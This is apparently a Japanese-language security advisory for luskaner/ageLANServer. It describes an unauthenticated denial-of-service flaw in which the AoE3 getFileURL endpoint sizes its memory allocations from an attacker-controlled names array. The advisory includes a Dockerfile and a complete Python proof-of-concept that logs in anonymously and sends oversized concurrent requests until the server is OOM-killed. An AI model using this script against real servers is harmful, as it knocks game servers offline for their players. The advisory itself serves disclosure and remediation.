ageLANServer: AoE3クラウドの`getFileURL`エンドポイントにおける、無制限のJSON配列割り当てが、リモートでのサービス拒否(DoS)攻撃につながる。
### 概要
`luskaner/ageLANServer`に同梱されているゲームサーバーの、AoE3の`POST /game/cloud/getFileURL`ハンドラは、攻撃者が制御する`names`というJSON配列をデコードし、その配列の長さに基づいて応答ストレージを直接割り当てます(`make(i.A, len(req.Names.Data))`)。この処理には、リクエストボディのサイズ制限はなく、リクエストパス上の配列要素数の上限もありません。デフォルト設定では`Authentication = 'disabled'`となっており、認証なしでプラットフォームにログインできるため、任意のネットワーククライアントがセッションを取得し、攻撃者が指定した入力に基づいてサーバーがメモリを割り当てるように仕向けられるリクエストを送信できます。未修正のビルドに対する動的テストの結果、単一のリクエストから非常に大きなメモリ使用量が増加し、メモリが制限されたインスタンスが複数の同時実行の過剰なリクエストを受信すると、カーネルのOOMキラーによってサーバープロセスが強制終了されることが確認されました。これは、認証前の(自己登録のみ)リモートDoS脆弱性であり、重大度が高い(CVSS 3.1 Base Score 7.5、CWE-400)。
### 詳細
`server/internal/routes/game/cloud/getFileURL.go`ファイルには、AoE3クラウドの"get file URL"エンドポイントのリクエスト構造体とハンドラが定義されています。
```go
type getFileURLRequest struct {
Names i.Json[[]string] `json:"names"`
}
func GetFileURL(w http.ResponseWriter, r *http.Request) {
var req getFileURLRequest
err := i.Bind(r, &req)
...
descriptions := make(i.A, len(req.Names.Data))
for j, name := range req.Names.Data {
...
```
`Names` は `i.Json[[]string]` として定義されており、これは `UnmarshalText` メソッドを持つラッパーです。このメソッドは、`encoding/json` によって、`names` の入力 JSON 値が文字列である場合に呼び出されます。攻撃者は、JSON 文字列でエンコードされた配列(例:`{"names":"[\"x\",\"x\",...]"`)を送信します。リクエストボディは、`server/internal/http.go` の `Bind()` 関数で `json.NewDecoder(r.Body).Decode(data)` を使用してデコードされますが、`http.MaxBytesReader`、`LimitReader`、および `MaxHeaderBytes` が `http.Server` で設定されていません(`server/internal/cmd/root.go`)。また、`len(req.Names.Data)` に対して、分岐に依存しない上限が設定されていません。同様に、無制限の長さが `getFileURL.go:27`(クラウドファイルキャッシュが空の場合の `slices.Repeat(i.A{nil}, len(req.Names.Data))`)および `make(i.A, len(req.Names.Data))`(30行目)で使用されています。
攻撃者が提供するスライスの `len()` 関数が、上限なしで直接、メモリ割り当てのサイズとして使用されているため、攻撃者はサーバーに、単一の HTTP リクエストボディのサイズに比例するメモリ(およびデコード/反復処理のための CPU サイクル)を割り当てさせることができます。このリクエストボディ自体も無制限です。
このコードパスに到達するには、有効なセッションのみが必要であり、実際のゲームの所有権や認証情報は不要です。
- エンドポイントは、`server/internal/routes/router/game.go:267` で AoE3 タイトル用に登録されています。
- `server/internal/routes/router/sessionMiddleware.go:23-36` では、`sessionID` が既存のセッションに解決されるかどうかのみを確認し、追加の認証は行いません。
- デフォルト構成 `server/resources/config/config.toml` では、`Authentication = 'disabled'` と設定されています。さらに、`server/internal/routes/game/login/platformlogin.go` では、実際のプラットフォームに対して検証を行わずに、クライアントが提供する任意の `accountType`/`platformUserID` に対してセッションを発行します。これにより、攻撃者は、認証なしの単一の `platformlogin` リクエストで有効な `sessionID` を取得し、事前に認証情報を必要としません。
データフロー (送信元 → 宛先):
1. `server/resources/unix/start_age3.sh:4` (または `start_age3.bat`) は、`-e age3` オプションを指定してリリースサーバーを起動します。これは、AoE3サーバーを実行するためのデフォルトの推奨方法です。
2. `server/internal/routes/router/game.go:267` は、`POST /game/cloud/getFileURL` を登録します。
3. `server/internal/routes/router/sessionMiddleware.go:23-36` は、有効な `sessionID` を持つすべてのリクエストを受け入れます。
4. `server/internal/http.go` は、サイズ制限なしで、JSONボディを `getFileURLRequest` にデコードします。
5. `server/internal/routes/game/cloud/getFileURL.go:13-19` は、攻撃者が制御する `names` 配列を `req.Names` にバインドします。
6. `server/internal/routes/game/cloud/getFileURL.go:27` および `:30` は、`len(req.Names.Data)` によって直接サイズが決定されたスライスを割り当てます。
### PoC (概念実証)
環境: Docker (Dockerfile を参照)。これは、リポジトリのソースコードから、変更されていない `server` および `genCert` バイナリを直接ビルドし、コミット `405b9a9` (以前に報告された `870b90c` と同等) を使用します。また、AoE3サーバー (`./server -e age3`) を、同梱されているデフォルト設定 (`Authentication = 'disabled'`) で起動します。ただし、サンドボックス環境での再現には関係のないLANアナウンスメントのブロードキャストは無効にしています。
ビルドと実行:
```bash
docker build -f vuln-001/Dockerfile -t agelan-vuln001 repo
docker run -d --name agelan-vuln001-test -p 8443:443 --memory=300m agelan-vuln001
```
攻撃スクリプト: `poc.py` (詳細なソースコードはファイルを参照)。概要としては、以下の処理を行います。
1. `POST /game/login/platformlogin` に、任意の Steam スタイルの `accountType`/`platformUserID`/`macAddress` を指定してリクエストを送信し、セッション ID を取得します。これは、デフォルトで `Authentication = 'disabled'` に設定されている脆弱性を利用します。
2. 比較的小さな `POST /game/cloud/getFileURL?sessionID=<id>` リクエスト (5つの要素を持つ `names` 配列) を送信し、`docker exec ... cat /proc/1/status` を使用して、サーバーの RSS (常駐セットサイズ) の送信前後の値を記録します。
3. `names` 配列に 2,000,000 個の要素を含む単一のリクエストを送信し、リクエストサイズに対する RSS の増加量を記録します (メモリ増幅)。
4. 同じコンテナを `--memory=300m` オプションで再起動し、`names` 配列に 3,000,000 個の要素を含む 3 つの同時リクエストを送信し、`docker inspect` コマンドを使用してコンテナの状態を確認し、OOM (Out Of Memory) キルが発生していないかを確認します。
実行コマンド:
```bash
python3 poc.py --host 127.0.0.1 --port 8443 --container agelan-vuln001-test
```
観察された結果 (フェーズ 2 の動的な再現、変更されていないソースコード):
- 基本的なリクエスト (`names` の要素数 = 5、リクエストサイズ 43 バイト): サーバーの RSS は変化なし (16928 KB → 16928 KB)。
- 比較的大規模な単一リクエスト (`names` の要素数 = 2,000,000、リクエストサイズ 12,000,013 バイト): サーバーの RSS が 16,984 KB から 224,724 KB に増加 — 約 11.4 MB のリクエストに対して、RSS が 207,740 KB 増加し、リクエストサイズの約 17.73 倍の増幅が見られました。
- 同じコンテナに対して、`--memory=300m` でメモリ制限を設けた状態で、3 つの同時リクエストを送信 (各リクエストの `names` の要素数 = 3,000,000、各リクエストサイズ 18,000,013 バイト)。すべての 3 つの接続が `RemoteDisconnected: Remote end closed connection without response` エラーで失敗しました。`docker inspect` コマンドで確認したところ、コンテナの状態が `status=running, OOMKilled=false` から `status=exited, OOMKilled=true, ExitCode=137` に変化しており、カーネルの OOM キラーによってサーバープロセスが終了しました。
この再現において、ターゲットリポジトリ内のソースコードは一切変更されていません。コンテナは、脆弱なコードをそのままビルドして実行しています。
### 影響
これは、リモートからネットワーク経由でアクセス可能であり、事前認証なし(自己登録のみ)の、サービス拒否の脆弱性(CWE-400: 制御されていないリソース消費)。Age of Empires IIIの`ageLANServer`を実行するためのデフォルトで文書化されている方法である、AoE3ゲームサーバーのHTTPSリスナーにアクセスできるクライアントであれば、デフォルトの認証なしのログインフローを通じてセッションを取得し、その後、正当なゲーム認証情報、事前のやり取り、またはユーザーの操作なしに、単一の巧妙に作成されたHTTPリクエスト、または少数の同時リクエストによって、サーバープロセスをクラッシュさせたり、応答させなくしたりすることができます。影響は可用性のみであり(機密性や完全性の問題は確認されていません)、影響を受けたLANサーバーに接続しているすべてのプレイヤーは、オペレーターがプロセスを再起動するまでサービスを停止します。
### 再現に必要な情報
#### `Dockerfile`
```dockerfile
# syntax=docker/dockerfile:1
#
# VULN-001: luskaner/ageLANServer用のPoCイメージ。
# *変更されていない*サーバーとgenCertのバイナリを、クローンされた
# リポジトリのソースコードから直接ビルドし、AoE3ゲームサーバーを実行します。これにより、
# server/internal/routes/game/cloud/getFileURL.go
# に存在する、無制限に割り当てられる「names」配列のバグを、攻撃者が行うのと全く同じように、ネットワーク経由で再現できます。
#
# ビルドコンテキストは、ageLANServerリポジトリのルートディレクトリである必要があります。例:
# docker build -f vuln-001/Dockerfile -t agelan-vuln001 <リポジトリのパス>
```
```
FROM golang:1.26-alpine3.24 AS compiler
WORKDIR /app
COPY common common
COPY battle-server-broadcast battle-server-broadcast
COPY server server
COPY server-genCert server-genCert
# tools/server-docker/Dockerfile/server/go.work.template と
# .../genCert/go.work.template を組み合わせることで、サーバーと genCert のバイナリの両方を、
# 1つのモジュールワークスペースからビルドできるようにする。
# (どちらもこの PoC に必要)
RUN printf 'go 1.26.0\n\nuse (\n\tcommon\n\tbattle-server-broadcast\n\tserver\n\tserver-genCert\n)\n' > go.work
RUN mkdir build
RUN cp -r server/resources build/resources && rm -rf build/resources/windows && rm -rf build/resources/unix
RUN mkdir -p build/resources/certificates
RUN go build -o build/server ./server
RUN mkdir build/bin
RUN go build -o build/bin/genCert ./server-genCert
FROM alpine:3.24
EXPOSE 443/tcp
WORKDIR /app/server
COPY --from=compiler /app/build/resources resources
COPY --from=compiler /app/build/server .
# genCert は、サーバーバイナリの1ディレクトリ下(server/bin/genCert)に配置する必要がある。
# これは、genCert が自身の実行パスからの相対パス("../resources")でサーバーのリソースフォルダを特定するためである。
# これは、プロジェクト自身の tools/server-docker/Dockerfile/genCert/Dockerfile と同じレイアウトである。
COPY --from=compiler /app/build/bin bin
# 認証は、デフォルトの設定("disabled"、server/resources/config/config.toml を参照)のまま変更しない。
# 脆弱な動作に関する変更はここにはない。
# アナウンスは、サンドボックス環境がこの PoC で LAN 検出を必要としないため、無効にしている。
ENV AGELANSERVER_SERVER_Announcement_Enabled=false
ENTRYPOINT ["/bin/sh", "-c", "./bin/genCert --ignoreIfExisting && exec ./server -e age3 --log --flatLog --logRoot=/app/server/logs"]
```
#### `poc.py`
```python
#!/usr/bin/env python3
"""
VULN-001 の PoC: luskaner/ageLANServer の AoE3 `POST /game/cloud/getFileURL` エンドポイントにおいて、"names" 配列を介したバウンドされていないメモリ割り当ての脆弱性。
(server/internal/routes/game/cloud/getFileURL.go:30)。
このハンドラは、以下の処理を行います。
descriptions := make(i.A, len(req.Names.Data))
ここで、`req.Names.Data` は、攻撃者が制御する JSON 文字列配列であり、
スタック内のどこにもサイズ、ボディ、または配列の長さの制限がありません
(server/internal/http.go の Bind() -> json.NewDecoder(r.Body).Decode())。
このスクリプトは、以下の処理を行います。
1. 匿名でログインし(認証はデフォルトで無効)、/game/login/platformlogin を介してセッション ID を取得します。
2. 基準となる、小さく無害な getFileURL リクエストを送信します。
3. 比較的大規模な getFileURL リクエストを 1 つ送信し、リクエストボディのサイズに対するサーバープロセスの RSS の増加を測定します(メモリ増幅の証拠)。
4. 複数の大規模な getFileURL リクエストを並行して、メモリが制限されたコンテナに対して送信し、Docker の cgroup OOM キラーがサーバープロセスを終了させるかどうかを確認します(クラッシュの証拠)。
対象は 127.0.0.1 / ローカルの Docker コンテナのみです。外部のホストには接続せず、認証情報は使用せず、対象リポジトリのソースコードは変更しません。
"""
import argparse
import concurrent.futures
import http.client
import json
import ssl
import subprocess
import sys
import time
import urllib.parse
DEFAULT_HOST = "127.0.0.1"
DEFAULT_SNI_HOST = "aoe-api.reliclink.com" # age3 の common.GameHosts() と一致
def make_connection(host, port, timeout=30):
ctx = ssl._create_unverified_context()
return http.client.HTTPSConnection(host, port, context=ctx, timeout=timeout)
```
```
def platform_login(host, port, sni_host, platform_user_id, mac_suffix):
conn = make_connection(host, port)
body = urllib.parse.urlencode({
"accountType": "STEAM",
"platformUserID": str(platform_user_id),
"alias": "poc",
"title": "age3",
"macAddress": "00:11:22:33:44:%02x" % mac_suffix,
"clientLibVersion": "100",
})
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Host": sni_host,
}
conn.request("POST", "/game/login/platformlogin", body=body, headers=headers)
resp = conn.getresponse()
data = resp.read()
conn.close()
parsed = json.loads(data)
session_id = parsed[1]
if not session_id:
raise RuntimeError("platformlogin はセッション ID を返しませんでした: %r" % (parsed,))
return session_id
def build_get_file_url_body(names_count):
# getFileURLRequest.Names は i.Json[[]string] です。i.Json.UnmarshalText は
# encoding/json によって、JSON の値が文字列の場合にのみ呼び出されます。
# したがって、配列は二重にエンコードする必要があります: {"names": "[\"x\",\"x\",...]"}.
inner = ",".join([r'\"x\"'] * names_count)
return ('{"names":"[' + inner + ']"}').encode()
```
```python
def send_get_file_url(host, port, sni_host, session_id, names_count, timeout=30):
body = build_get_file_url_body(names_count)
conn = make_connection(host, port, timeout=timeout)
path = "/game/cloud/getFileURL?sessionID=%s" % urllib.parse.quote(session_id)
headers = {
"Content-Type": "application/json",
"Host": sni_host,
}
start = time.time()
try:
conn.request("POST", path, body=body, headers=headers)
resp = conn.getresponse()
data = resp.read()
elapsed = time.time() - start
return {
"ok": True,
"status": resp.status,
"response_bytes": len(data),
"request_bytes": len(body),
"elapsed_sec": round(elapsed, 3),
}
except Exception as exc:
elapsed = time.time() - start
return {
"ok": False,
"error": "%s: %s" % (type(exc).__name__, exc),
"request_bytes": len(body),
"elapsed_sec": round(elapsed, 3),
}
finally:
try:
conn.close()
except Exception:
pass
def docker_exec_rss_kb(container):
try:
out = subprocess.run(
["docker", "exec", container, "cat", "/proc/1/status"],
capture_output=True, text=True, timeout=10,
)
if out.returncode != 0:
return None
for line in out.stdout.splitlines():
if line.startswith("VmRSS:"):
return int(line.split()[1])
except Exception:
return None
return None
```
```
def docker_inspect_state(container):
try:
out = subprocess.run(
["docker", "inspect", container, "--format",
"{{.State.Status}}|{{.State.OOMKilled}}|{{.State.ExitCode}}"],
capture_output=True, text=True, timeout=10,
)
if out.returncode != 0:
return None
status, oom_killed, exit_code = out.stdout.strip().split("|")
return {
"status": status,
"oom_killed": oom_killed == "true",
"exit_code": int(exit_code),
}
except Exception:
return None
def main():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--host", default=DEFAULT_HOST, help="サーバーのアドレス(ローカルである必要があります)。デフォルト:127.0.0.1")
parser.add_argument("--port", type=int, default=8443, help="Dockerによって公開されているサーバーのHTTPSポート。デフォルト:8443")
parser.add_argument("--sni-host", default=DEFAULT_SNI_HOST, help="サーバーがGameハンドラとしてルーティングするホストヘッダー")
parser.add_argument("--container", default="agelan-vuln001-test", help="OOM/RSSの証拠を調べるためのDockerコンテナ名")
parser.add_argument("--baseline-names-count", type=int, default=5, help="無害なベースラインリクエストの配列の長さ")
parser.add_argument("--moderate-names-count", type=int, default=2_000_000, help="単一の非破壊的な増幅リクエストの配列の長さ")
parser.add_argument("--attack-names-count", type=int, default=3_000_000, help="クラッシュフェーズにおける同時リクエストごとの配列の長さ")
parser.add_argument("--attack-concurrency", type=int, default=3, help="コンテナに対して同時に送信される、サイズが大きすぎるリクエストの数")
parser.add_argument("--skip-crash-phase", action="store_true", help="ベースラインと増幅フェーズのみを実行します(OOMの試行は行いません)")
args = parser.parse_args()
```
result = {"host": args.host, "port": args.port, "container": args.container}
print("== 段階1: 匿名ログイン (デフォルトでは認証が無効)")
session_baseline = platform_login(args.host, args.port, args.sni_host, 7656119800000101, 0x01)
print("取得したセッションID: %s" % session_baseline)
result["session_id_baseline"] = session_baseline
print("\n== 段階2: baselineのgetFileUrlリクエスト (名前の数: %d) ==" % args.baseline_names_count)
rss_before_baseline = docker_exec_rss_kb(args.container)
baseline_resp = send_get_file_url(args.host, args.port, args.sni_host, session_baseline, args.baseline_names_count)
rss_after_baseline = docker_exec_rss_kb(args.container)
print("レスポンス: %s" % baseline_resp)
print("サーバーのRSS (KB) (実行前/実行後): %s / %s" % (rss_before_baseline, rss_after_baseline))
result["baseline"] = {
"response": baseline_resp,
"server_rss_kb_before": rss_before_baseline,
"server_rss_kb_after": rss_after_baseline,
}
```
print("\n== フェーズ3: 比較的大規模なgetFileURLリクエストを単一で実行 (名前数: %d) ==" % args.moderate_names_count)
session_moderate = platform_login(args.host, args.port, args.sni_host, 7656119800000102, 0x02)
rss_before_moderate = docker_exec_rss_kb(args.container)
moderate_resp = send_get_file_url(args.host, args.port, args.sni_host, session_moderate, args.moderate_names_count)
rss_after_moderate = docker_exec_rss_kb(args.container)
print("レスポンス: %s" % moderate_resp)
print("サーバーのRSS(実行前/後)(KB): %s / %s" % (rss_before_moderate, rss_after_moderate))
amplification = None
if rss_after_moderate is not None and rss_before_moderate is not None and moderate_resp.get("request_bytes"):
rss_growth_kb = rss_after_moderate - rss_before_moderate
amplification = round((rss_growth_kb * 1024) / moderate_resp["request_bytes"], 2)
print("メモリ増幅: %d KB のRSS増加が、%d バイトのリクエストから発生しました(リクエストサイズは約 %sx)" % (
rss_growth_kb, moderate_resp["request_bytes"], amplification))
result["moderate_amplification"] = {
"response": moderate_resp,
"server_rss_kb_before": rss_before_moderate,
"server_rss_kb_after": rss_after_moderate,
"amplification_ratio": amplification,
}
if args.skip_crash_phase:
print(json.dumps(result, indent=2))
return 0
print("\n== フェーズ4: メモリ制約のあるコンテナに対する、並行して実行される大規模なgetFileURLリクエスト ==")
state_before = docker_inspect_state(args.container)
print("攻撃前のコンテナの状態: %s" % state_before)
result["container_state_before_attack"] = state_before
sessions = []
for idx in range(args.attack_concurrency):
sess = platform_login(args.host, args.port, args.sni_host, 7656119800000200 + idx, 0x10 + idx)
sessions.append(sess)
print("攻撃者セッションを%d個取得しました: %s" % (len(sessions), sessions))
```
```
attack_responses = []
with concurrent.futures.ThreadPoolExecutor(max_workers=args.attack_concurrency) as pool:
futures = [
pool.submit(send_get_file_url, args.host, args.port, args.sni_host, sess, args.attack_names_count, 60)
for sess in sessions
]
for fut in concurrent.futures.as_completed(futures):
attack_responses.append(fut.result())
print("攻撃リクエストの結果: %s" % attack_responses)
result["attack_responses"] = attack_responses
state_after = None
for _ in range(15):
time.sleep(1)
state_after = docker_inspect_state(args.container)
if state_after and state_after["status"] != "running":
break
print("攻撃後のコンテナの状態: %s" % state_after)
result["container_state_after_attack"] = state_after
oom_killed = bool(state_after and state_after.get("oom_killed"))
result["oom_killed"] = oom_killed
result["verdict"] = "脆弱性あり (攻撃者によって制御されたメモリ割り当てにより、コンテナがOOMキルされた)" if oom_killed else "再現されず (コンテナは生存した)"
print("\n== 結果 ==")
print(json.dumps(result, indent=2))
return 0 if oom_killed else 1
if __name__ == "__main__":
sys.exit(main())
```
影響を受けるパッケージ:
- go github.com/luskaner/ageLANServer/server: 影響を受けるバージョンは 1.8.2-0.20260809203301-1dd40166a593 未満、修正されたバージョンは 1.8.2-0.20260809203301-1dd40166a593。